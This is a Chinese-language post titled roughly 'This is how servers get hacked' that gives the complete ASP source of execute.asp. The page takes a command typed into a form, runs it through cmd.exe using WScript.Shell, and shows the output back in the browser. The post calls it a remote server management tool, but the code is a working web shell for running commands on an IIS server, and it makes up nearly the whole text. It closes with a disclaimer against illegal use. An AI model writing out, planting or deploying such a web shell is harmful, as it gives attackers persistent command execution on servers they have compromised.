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服务器就是这样被黑的

最近正在写一个远程服务器管理的东东(借鉴了ASE的部分代码、增加了远程执行命令、上传、服务等功能。)值得注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的原代码。copy下来另存为execute.asp.

   <html>
   <head>
   <meta http-equiv="Content-Language" content="zh-cn">
   <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
   <meta name="GENERATOR" content="Microsoft FrontPage 4.0">
   <meta name="ProgId" content="FrontPage.Editor.Document">
   <title>执行命令</title>
   <style>
   <!--
   table,body{ font-family: 宋体; font-size: 9pt }
   a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64);

   text-decoration: none }
   a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none

   }
   a:visited{ color: rgb(128,0,0) }
   -->
   </style>

   </head>

   <body bgcolor="#000000" text="#C0C0C0">

   <form method="POST" action="execute.asp">
   <p align="left">输入要执行的命令:<input type="text" name="ml"

   size="20" value="dir c:\" style="background-color: #C0C0C0; color:

   #000000; border-style: solid; border-width: 1">
   <input type="submit" value="执行" name="B1" style="background-color:

   #C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p>
   </form>
   <%
   ml=request.form("ml")
   cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" ''修改

   ''whoamI.txt路径到一个有写权限的目录
   Set WShShell = Server.CreateObject("WScript.Shell")
   RetCode = WShShell.Run(cmd, 1, True)
   if RetCode = 0 Then
   Response.write ml & " "
   Response.write " 命令成功执行!"&"<br><br>"
   else
   Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行!"&"<br><br>"

   end if
   ''response.write cmd

   function htmlencode(str)
   dim result
   dim l
   if isNULL(str) then
   htmlencode=""
   exit function
   end if
   l=len(str)
   result=""
   dim i
   for i = 1 to l
   select case mid(str,i,1)
   case "<"
   result=result+"<"
   case ">"
   result=result+">"
   case chr(34)
   result=result+"""
   case "&"
   result=result+"&"
   case else
   result=result+mid(str,i,1)
   end select
   next
   htmlencode=result
   end function
   Set fs =CreateObject("Scripting.FileSystemObject")
   Set thisfile = fs.OpenTextFile("d:\foxzk\whoamI.txt", 1, False) ''读文件,别忘了修改路径.
   counter=0
   do while not thisfile.atendofstream
   counter=counter+1
   thisline=htmlencode(thisfile.readline)
   response.write thisline&"<br>"
   loop
   thisfile.Close
   set fs=nothing
   %>

   </body>

   </html>

   请勿将此程序用于非法途径,由此引起的一切后果由使用者承担。

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